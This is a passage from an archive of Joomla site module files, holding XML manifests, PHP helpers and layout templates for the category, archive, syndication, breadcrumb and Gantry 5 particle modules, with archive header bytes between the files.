				</field>

				<field
					name="readmore_limit"
					type="number"
					label="JGLOBAL_SHOW_READMORE_LIMIT_LABEL"
					default="15"
					filter="integer"
					showon="show_readmore:1[AND]show_readmore_title:1"
				/>

			</fieldset>

			<fieldset name="advanced">

				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>

				<field
					name="owncache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					default="900"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!}���/mod_articles_category/mod_articles_category.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_category
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Module\ArticlesCategory\Site\Helper\ArticlesCategoryHelper;

$input = $app->input;

// Prep for Normal or Dynamic Modes
$mode   = $params->get('mode', 'normal');
$idbase = null;

switch ($mode)
{
	case 'dynamic':
		$option = $input->get('option');
		$view   = $input->get('view');

		if ($option === 'com_content')
		{
			switch ($view)
			{
				case 'category':
				case 'categories':
					$idbase = $input->getInt('id');
					break;
				case 'article':
					if ($params->get('show_on_article_page', 1))
					{
						$idbase = $input->getInt('catid');
					}
					break;
			}
		}
		break;
	default:
		$idbase = $params->get('catid');
		break;
}

$cacheid = md5(serialize(array ($idbase, $module->module, $module->id)));

$cacheparams               = new \stdClass;
$cacheparams->cachemode    = 'id';
$cacheparams->class        = ArticlesCategoryHelper::class;
$cacheparams->method       = 'getList';
$cacheparams->methodparams = $params;
$cacheparams->modeparams   = $cacheid;

$list                       = ModuleHelper::moduleCache($module, $params, $cacheparams);
$article_grouping           = $params->get('article_grouping', 'none');
$article_grouping_direction = $params->get('article_grouping_direction', 'ksort');
$grouped                    = $article_grouping !== 'none';

if ($list && $grouped)
{
	switch ($article_grouping)
	{
		case 'year':
		case 'month_year':
			$list = ArticlesCategoryHelper::groupByDate(
				$list,
				$article_grouping_direction,
				$article_grouping,
				$params->get('month_year_format', 'F Y'),
				$params->get('date_grouping_field', 'created')
			);
			break;
		case 'author':
		case 'category_title':
			$list = ArticlesCategoryHelper::groupBy($list, $article_grouping, $article_grouping_direction);
			break;
		case 'tags':
			$list = ArticlesCategoryHelper::groupByTags($list, $article_grouping_direction);
			break;
	}
}

require ModuleHelper::getLayoutPath('mod_articles_category', $params->get('layout', 'default'));
PK!ػ�A��&mod_articles_category/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_category
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\CMS\Language\Text;

if (!$list)
{
	return;
}

?>
<ul class="mod-articlescategory category-module mod-list">
	<?php if ($grouped) : ?>
		<?php foreach ($list as $groupName => $items) : ?>
		<li>
			<div class="mod-articles-category-group"><?php echo Text::_($groupName); ?></div>
			<ul>
				<?php require ModuleHelper::getLayoutPath('mod_articles_category', $params->get('layout', 'default') . '_items'); ?>
			</ul>
		</li>
		<?php endforeach; ?>
	<?php else : ?>
		<?php $items = $list; ?>
		<?php require ModuleHelper::getLayoutPath('mod_articles_category', $params->get('layout', 'default') . '_items'); ?>
	<?php endif; ?>
</ul>
PK!%xs�  -mod_articles_archive/mod_articles_archive.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_archive
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Module\ArticlesArchive\Site\Helper\ArticlesArchiveHelper;

$params->def('count', 10);
$list = ArticlesArchiveHelper::getList($params);

require ModuleHelper::getLayoutPath('mod_articles_archive', $params->get('layout', 'default'));
PK!H趶��-mod_articles_archive/mod_articles_archive.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_articles_archive</name>
	<author>Joomla! Project</author>
	<creationDate>July 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_ARTICLES_ARCHIVE_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\ArticlesArchive</namespace>
	<files>
		<filename module="mod_articles_archive">mod_articles_archive.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_articles_archive.ini</language>
		<language tag="en-GB">language/en-GB/mod_articles_archive.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_ARCHIVE" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="count"
					type="number"
					label="MOD_ARTICLES_ARCHIVE_FIELD_COUNT_LABEL"
					default="10"
					filter="integer"
				/>
			</fieldset>

			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="static"
					>
					<option value="static"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!i�ء�	�	mod_articles_archive/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_archive
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_articles_archive
 *
 * @since  1.5
 */
class ModArchiveHelper
{
	/**
	 * Retrieve list of archived articles
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  array
	 *
	 * @since   1.5
	 */
	public static function getList(&$params)
	{
		// Get database
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select($query->month($db->quoteName('created')) . ' AS created_month')
			->select('MIN(' . $db->quoteName('created') . ') AS created')
			->select($query->year($db->quoteName('created')) . ' AS created_year')
			->from('#__content')
			->where('state = 2')
			->group($query->year($db->quoteName('created')) . ', ' . $query->month($db->quoteName('created')))
			->order($query->year($db->quoteName('created')) . ' DESC, ' . $query->month($db->quoteName('created')) . ' DESC');

		// Filter by language
		if (JFactory::getApplication()->getLanguageFilter())
		{
			$query->where('language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')');
		}

		$db->setQuery($query, 0, (int) $params->get('count'));

		try
		{
			$rows = (array) $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

			return array();
		}

		$app    = JFactory::getApplication();
		$menu   = $app->getMenu();
		$item   = $menu->getItems('link', 'index.php?option=com_content&view=archive', true);
		$itemid = (isset($item) && !empty($item->id)) ? '&Itemid=' . $item->id : '';

		$i     = 0;
		$lists = array();

		foreach ($rows as $row)
		{
			$date = JFactory::getDate($row->created);

			$createdMonth = $date->format('n');
			$createdYear  = $date->format('Y');

			$createdYearCal = JHtml::_('date', $row->created, 'Y');
			$monthNameCal   = JHtml::_('date', $row->created, 'F');

			$lists[$i] = new stdClass;

			$lists[$i]->link = JRoute::_('index.php?option=com_content&view=archive&year=' . $createdYear . '&month=' . $createdMonth . $itemid);
			$lists[$i]->text = JText::sprintf('MOD_ARTICLES_ARCHIVE_DATE', $monthNameCal, $createdYearCal);

			$i++;
		}

		return $lists;
	}
}
PK!j�@=��%mod_articles_archive/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_archive
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

if (!$list)
{
	return;
}

?>
<ul class="mod-articlesarchive archive-module mod-list">
	<?php foreach ($list as $item) : ?>
	<li>
		<a href="<?php echo $item->link; ?>">
			<?php echo $item->text; ?>
		</a>
	</li>
	<?php endforeach; ?>
</ul>
PK!yD^(MMmod_syndicate/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_syndicate
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Helper for mod_syndicate
 *
 * @since  1.5
 */
class ModSyndicateHelper
{
	/**
	 * Gets the link
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  array  The link as a string
	 *
	 * @since   1.5
	 */
	public static function getLink(&$params)
	{
		$document = JFactory::getDocument();

		foreach ($document->_links as $link => $value)
		{
			$value = ArrayHelper::toString($value);

			if (strpos($value, 'application/' . $params->get('format') . '+xml'))
			{
				return $link;
			}
		}
	}
}
PK!�B��JJmod_syndicate/mod_syndicate.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_syndicate</name>
	<author>Joomla! Project</author>
	<creationDate>May 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_SYNDICATE_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\Syndicate</namespace>
	<files>
		<filename module="mod_syndicate">mod_syndicate.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_syndicate.ini</language>
		<language tag="en-GB">language/en-GB/mod_syndicate.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_SYNDICATION_FEEDS" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="text"
					type="text"
					label="MOD_SYNDICATE_FIELD_TEXT_LABEL"
					description="MOD_SYNDICATE_FIELD_TEXT_DESC"
				/>

				<field
					name="display_text"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_SYNDICATE_FIELD_DISPLAYTEXT_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="format"
					type="list"
					label="MOD_SYNDICATE_FIELD_FORMAT_LABEL"
					default="rss"
					validate="options"
					>
					<option value="rss">MOD_SYNDICATE_FIELD_VALUE_RSS</option>
					<option value="atom">MOD_SYNDICATE_FIELD_VALUE_ATOM</option>
				</field>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!�k$��mod_syndicate/mod_syndicate.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_syndicate
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Module\Syndicate\Site\Helper\SyndicateHelper;

$params->def('format', 'rss');

$link = SyndicateHelper::getLink($params, $app->getDocument());

if ($link === null)
{
	return;
}

$text = htmlspecialchars($params->get('text'), ENT_COMPAT, 'UTF-8');

require ModuleHelper::getLayoutPath('mod_syndicate', $params->get('layout', 'default'));
PK!)A�s��mod_syndicate/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_syndicate
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<a href="<?php echo $link; ?>" class="mod-syndicate syndicate-module">
	<span class="icon-feed" aria-hidden="true"></span>
	<?php $class = $params->get('display_text', 1) ? '' : 'class="visually-hidden"'; ?>
	<span <?php echo $class; ?>>
		<?php if (str_replace(' ', '', $text) !== '') : ?>
			<?php echo $text; ?>
		<?php else : ?>
			<?php echo Text::_('MOD_SYNDICATE_DEFAULT_FEED_ENTRIES'); ?>
		<?php endif; ?>
	</span>
</a>
PK!���qN
N
 mod_breadcrumbs/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_breadcrumbs
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

?>
<nav class="mod-breadcrumbs__wrapper" aria-label="<?php echo htmlspecialchars($module->title, ENT_QUOTES, 'UTF-8'); ?>">
	<ol itemscope itemtype="https://schema.org/BreadcrumbList" class="mod-breadcrumbs breadcrumb px-3 py-2">
		<?php if ($params->get('showHere', 1)) : ?>
			<li class="mod-breadcrumbs__here float-start">
				<?php echo Text::_('MOD_BREADCRUMBS_HERE'); ?>&#160;
			</li>
		<?php else : ?>
			<li class="mod-breadcrumbs__divider float-start">
				<span class="divider icon-location icon-fw" aria-hidden="true"></span>
			</li>
		<?php endif; ?>

		<?php
		// Get rid of duplicated entries on trail including home page when using multilanguage
		for ($i = 0; $i < $count; $i++)
		{
			if ($i === 1 && !empty($list[$i]->link) && !empty($list[$i - 1]->link) && $list[$i]->link === $list[$i - 1]->link)
			{
				unset($list[$i]);
			}
		}

		// Find last and penultimate items in breadcrumbs list
		end($list);
		$last_item_key   = key($list);
		prev($list);
		$penult_item_key = key($list);

		// Make a link if not the last item in the breadcrumbs
		$show_last = $params->get('showLast', 1);

		// Generate the trail
		foreach ($list as $key => $item) :
			if ($key !== $last_item_key) :
				if (!empty($item->link)) :
					$breadcrumbItem = '<a itemprop="item" href="' . Route::_($item->link) . '" class="pathway"><span itemprop="name">' . html_entity_decode($item->name, ENT_QUOTES, 'UTF-8') . '</span></a>';
				else :
					$breadcrumbItem = '<span itemprop="name">' . $item->name . '</span>';
				endif;
				// Render all but last item - along with separator ?>
				<li itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" class="mod-breadcrumbs__item breadcrumb-item"><?php echo $breadcrumbItem; ?>
					<meta itemprop="position" content="<?php echo $key + 1; ?>">
				</li>
			<?php elseif ($show_last) :
				$breadcrumbItem = '<span itemprop="name">' . html_entity_decode($item->name, ENT_QUOTES, 'UTF-8') . '</span>';
				// Render last item if required. ?>
				<li aria-current="page" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" class="mod-breadcrumbs__item breadcrumb-item active"><?php echo $breadcrumbItem; ?>
					<meta itemprop="position" content="<?php echo $key + 1; ?>">
				</li>
			<?php endif;
		endforeach; ?>
	</ol>
</nav>
PK!碔�$$#mod_breadcrumbs/mod_breadcrumbs.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_breadcrumbs
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Module\Breadcrumbs\Site\Helper\BreadcrumbsHelper;

// Get the breadcrumbs
$list  = BreadcrumbsHelper::getList($params, $app);
$count = count($list);

require ModuleHelper::getLayoutPath('mod_breadcrumbs', $params->get('layout', 'default'));
PK!'T�	�	mod_breadcrumbs/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_breadcrumbs
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_breadcrumbs
 *
 * @since  1.5
 */
class ModBreadCrumbsHelper
{
	/**
	 * Retrieve breadcrumb items
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return array
	 */
	public static function getList(&$params)
	{
		// Get the PathWay object from the application
		$app     = JFactory::getApplication();
		$pathway = $app->getPathway();
		$items   = $pathway->getPathWay();
		$lang    = JFactory::getLanguage();
		$menu    = $app->getMenu();

		// Look for the home menu
		if (JLanguageMultilang::isEnabled())
		{
			$home = $menu->getDefault($lang->getTag());
		}
		else
		{
			$home  = $menu->getDefault();
		}

		$count = count($items);

		// Don't use $items here as it references JPathway properties directly
		$crumbs = array();

		for ($i = 0; $i < $count; $i ++)
		{
			$crumbs[$i]       = new stdClass;
			$crumbs[$i]->name = stripslashes(htmlspecialchars($items[$i]->name, ENT_COMPAT, 'UTF-8'));
			$crumbs[$i]->link = JRoute::_($items[$i]->link);
		}

		if ($params->get('showHome', 1))
		{
			$item       = new stdClass;
			$item->name = htmlspecialchars($params->get('homeText', JText::_('MOD_BREADCRUMBS_HOME')), ENT_COMPAT, 'UTF-8');
			$item->link = JRoute::_('index.php?Itemid=' . $home->id);
			array_unshift($crumbs, $item);
		}

		return $crumbs;
	}

	/**
	 * Set the breadcrumbs separator for the breadcrumbs display.
	 *
	 * @param   string  $custom  Custom xhtml compliant string to separate the items of the breadcrumbs
	 *
	 * @return  string	Separator string
	 *
	 * @since   1.5
	 */
	public static function setSeparator($custom = null)
	{
		$lang = JFactory::getLanguage();

		// If a custom separator has not been provided we try to load a template
		// specific one first, and if that is not present we load the default separator
		if ($custom === null)
		{
			if ($lang->isRtl())
			{
				$_separator = JHtml::_('image', 'system/arrow_rtl.png', null, null, true);
			}
			else
			{
				$_separator = JHtml::_('image', 'system/arrow.png', null, null, true);
			}
		}
		else
		{
			$_separator     = htmlspecialchars($custom, ENT_COMPAT, 'UTF-8');
		}

		return $_separator;
	}
}
PK!��G��#mod_breadcrumbs/mod_breadcrumbs.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_breadcrumbs</name>
	<author>Joomla! Project</author>
	<creationDate>July 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_BREADCRUMBS_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\Breadcrumbs</namespace>
	<files>
		<filename module="mod_breadcrumbs">mod_breadcrumbs.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_breadcrumbs.ini</language>
		<language tag="en-GB">language/en-GB/mod_breadcrumbs.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_BREADCRUMBS" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="showHere"
					type="radio"
					label="MOD_BREADCRUMBS_FIELD_SHOWHERE_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="showHome"
					type="radio"
					label="MOD_BREADCRUMBS_FIELD_SHOWHOME_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="homeText"
					type="text"
					label="MOD_BREADCRUMBS_FIELD_HOMETEXT_LABEL"
					description="MOD_BREADCRUMBS_FIELD_HOMETEXT_DESC"
					showon="showHome:1"
				/>

				<field
					name="showLast"
					type="radio"
					label="MOD_BREADCRUMBS_FIELD_SHOWLAST_LABEL"
					default="1"
					layout="joomla.form.field.radio.switcher"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					default="0"
					filter="integer"
					validate="options"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					default="0"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="itemid"
					>
					<option value="itemid"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!7���Fmod_gantry5_particle/language/en-GB/en-GB.mod_gantry5_particle.sys.ininu&1i�MOD_GANTRY5_PARTICLE="Gantry 5 Particle"
MOD_GANTRY5_PARTICLE_DESCRIPTION="This module allows you to add particles to module positions."
PK!2f㏟�Bmod_gantry5_particle/language/en-GB/en-GB.mod_gantry5_particle.ininu&1i�MOD_GANTRY5_PARTICLE="Gantry 5 Particle"
MOD_GANTRY5_PARTICLE_DESCRIPTION="This module allows you to add particles to module positions."
MOD_GANTRY5_PARTICLE_NOT_INITIALIZED="%s: Cannot display content; not in Gantry 5 template!"

MOD_GANTRY5_PARTICLE_FIELD_PARTICLE_LABEL="Particle"
MOD_GANTRY5_PARTICLE_FIELD_PARTICLE_DESC="Select and configure Gantry 5 particle."

GANTRY5_PLATFORM_EDIT_PARTICLE="Edit Particle"
PK!$�{�mod_gantry5_particle/helper.phpnu&1i�<?php
/**
 * @package   Gantry 5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */
defined('_JEXEC') or die;

class ModGantry5ParticleHelper
{
    /**
     * Serve module AJAX requests in 'index.php?option=com_ajax&module=gantry5_particle&format=json'.
     *
     * @return array|null|string
     */
    public static function getAjax()
    {
        $input = JFactory::getApplication()->input;
        $format = $input->getCmd('format', 'html');
        $id = $input->getInt('id');

        $props = $_GET;
        unset($props['option'], $props['module'], $props['format'], $props['id']);

        return static::ajax($id, $props, $format);
    }

    /**
     * @param $id
     * @param array $props
     * @param string $format
     * @return array|null|string
     */
    public static function ajax($id, $props = [], $format = 'raw')
    {
        if (!in_array($format, ['json', 'raw', 'debug'])) {
            throw new RuntimeException(JText::_('JERROR_PAGE_NOT_FOUND'), 404);
        }

        $gantry = \Gantry\Framework\Gantry::instance();

        $module = $gantry['platform']->getModule($id);

        // Make sure that module really exists.
        if (!is_object($module) || strpos($module->module, 'gantry5') === false) {
            throw new RuntimeException(JText::_('JERROR_PAGE_NOT_FOUND'), 404);
        }

        $attribs = ['style' => 'gantry'];

        // Trigger the onRenderModule event.
        $dispatcher = \JEventDispatcher::getInstance();
        $dispatcher->trigger('onRenderModule', ['module' => &$module, 'attribs' => &$attribs]);

        $params = new JRegistry($module->params);
        $params->set('ajax', $props);
        $block = static::render($module, $params);
        $data = json_decode($params->get('particle'), true);
        $type = $data['type'] . '.' . $data['particle'];
        $identifier = static::getIdentifier($data['particle'], $module->id);
        $html = (string) $block;

        if ($format === 'raw') {
            return $html;
        }

        return ['code' => 200, 'type' => $type, 'id' => $identifier, 'props' => (object) $props, 'html' => $html];
    }

    /**
     * @param object $module
     * @param object $params
     * @return Gantry\Component\Content\Block\ContentBlockInterface
     */
    public static function render($module, $params)
    {
        GANTRY_DEBUGGER && \Gantry\Debugger::addMessage("Particle Module #{$module->id} was not cached");

        $data = json_decode($params->get('particle'), true);
        $type = $data['type'];
        $particle = $data['particle'];

        $gantry = \Gantry\Framework\Gantry::instance();
        if ($gantry->debug()) {
            $enabled_outline = $gantry['config']->get("particles.{$particle}.enabled", true);
            $enabled = isset($data['options']['particle']['enabled']) ? $data['options']['particle']['enabled'] : true;
            $location = (!$enabled_outline ? 'Outline' : (!$enabled ? 'Module' : null));

            if ($location) {
                $block = \Gantry\Component\Content\Block\HtmlBlock::create();
                $block->setContent(sprintf('<div class="alert alert-error">The Particle has been disabled from the %s and won\'t render.</div>', $location));

                return $block;
            }
        }

        $id = static::getIdentifier($particle, $module->id);
        $object = (object) array(
            'id' => $id,
            'type' => $type,
            'subtype' => $particle,
            'attributes' => $data['options']['particle'],
        );

        $context = array(
            'gantry' => $gantry,
            'inContent' => true,
            'ajax' => $params->get('ajax'),
        );

        /** @var Gantry\Framework\Theme $theme */
        $theme = $gantry['theme'];
        $block = $theme->getContent($object, $context);

        // Create outer block with the particle ID for AJAX calls.
        $outer = \Gantry\Component\Content\Block\HtmlBlock::create();
        $outer->setContent('<div id="' . $id . '-particle" class="g-particle">' . $block->getToken() . '</div>');
        $outer->addBlock($block);

        return $outer;
    }

    /**
     * @param $module
     * @param $params
     * @return array
     */
    public static function cache($module, $params)
    {
        return static::render($module, $params)->toArray();
    }

    /**
     * @param $module
     * @param $params
     * @param $cacheparams
     * @return \Gantry\Component\Content\Block\ContentBlockInterface|null
     */
    public static function moduleCache($module, $params, $cacheparams)
    {
        $block = (array) JModuleHelper::moduleCache($module, $params, $cacheparams);
        try {
            return $block ? \Gantry\Component\Content\Block\HtmlBlock::fromArray($block) : null;
        } catch (Exception $e) {
            return null;
        }
    }

    public static function getIdentifier($particle, $id)
    {
        return "module-{$particle}-{$id}";
    }
}
PK!���		-mod_gantry5_particle/mod_gantry5_particle.xmlnu&1i�<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<extension version="3.4" type="module" client="site" method="upgrade">
    <name>mod_gantry5_particle</name>
    <version>5.4.34</version>
    <creationDate>April 30, 2020</creationDate>
    <author>RocketTheme, LLC</author>
    <authorEmail>support@rockettheme.com</authorEmail>
    <authorUrl>http://www.rockettheme.com</authorUrl>
    <copyright>(C) 2005 - 2019 RocketTheme, LLC. All rights reserved.</copyright>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2</license>
    <description>MOD_GANTRY5_PARTICLE_DESCRIPTION</description>

    <files>
        <filename module="mod_gantry5_particle">mod_gantry5_particle.php</filename>
        <filename>helper.php</filename>
        <folder>language</folder>
    </files>
    <config>
        <fields name="params">
            <fieldset name="basic" addfieldpath="/components/com_gantry5/fields">
                <field
                        name="particle"
                        type="particle"
                        filter="raw"
                        label="MOD_GANTRY5_PARTICLE_FIELD_PARTICLE_LABEL"
                        description="MOD_GANTRY5_PARTICLE_FIELD_PARTICLE_DESC" />
            </fieldset>

            <fieldset name="advanced">
                <field
                    name="moduleclass_sfx"
                    type="text"
                    label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
                    description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />

                <field
                        name="owncache"
                        type="list"
                        label="COM_MODULES_FIELD_CACHING_LABEL"
                        description="COM_MODULES_FIELD_CACHING_DESC"
                        default="0"
                >
                    <option value="1">JGLOBAL_USE_GLOBAL</option>
                    <option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
                </field>

                <field
                        name="cache_time"
                        type="text"
                        default="900"
                        label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
                        description="COM_MODULES_FIELD_CACHE_TIME_DESC" />
            </fieldset>
        </fields>
    </config>
</extension>
PK!�9cM��-mod_gantry5_particle/mod_gantry5_particle.phpnu&1i�<?php
/**
 * @package   Gantry 5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */
defined('_JEXEC') or die;

// Detect Gantry Framework or fail gracefully.
if (!class_exists('Gantry\Framework\Gantry')) {
    $lang = JFactory::getLanguage();
    JFactory::getApplication()->enqueueMessage(
        JText::sprintf('MOD_GANTRY5_PARTICLE_NOT_INITIALIZED', JText::_('MOD_GANTRY5_PARTICLE')),
        'warning'
    );
    return;
}

include_once dirname(__FILE__) . '/helper.php';

/** @var object $params */

